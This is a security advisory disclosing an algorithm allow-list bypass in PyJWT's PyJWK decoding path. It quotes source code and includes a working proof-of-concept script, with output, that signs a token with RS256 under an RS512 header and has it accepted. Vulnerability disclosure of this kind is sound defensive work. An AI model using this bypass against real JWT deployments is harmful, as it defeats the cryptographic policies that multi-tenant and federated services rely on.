PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys

PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:

if not algorithm and isinstance(self._jwk_data, dict):
    algorithm = self._jwk_data.get("alg", None)

...

self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
    token,
    signing_key,
    audience="https://expenses-api",
    options={"verify_exp": False},
    algorithms=["RS256"],
)

PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

• self-service OAuth client assertions
• multi-tenant key registration
• federation / BYO-JWKS trust models
• any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode

# Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

# Build a PyJWK from the public key.
# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))

# Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}

header_b64 = base64url_encode(
    json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
    json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])

# Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()

print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:")
try:
    print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
    print(f"{type(e).__name__}: {e}")

Observed output:

PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

• the caller restricted allowed algorithms to ["RS512"]
• the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

• If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
• If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

• JWT client assertion flows where each client uses its own key
• multitenant systems where tenants register JWK/JWKS material
• federation-style trust models
• any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

• bypass a server-side requirement such as "only PS256" or "only RS512"
• continue using a deprecated or blocked algorithm after the server thought it had disabled it
• authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

• it does not let an attacker forge tokens without access to a valid signing key or signing oracle
• it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw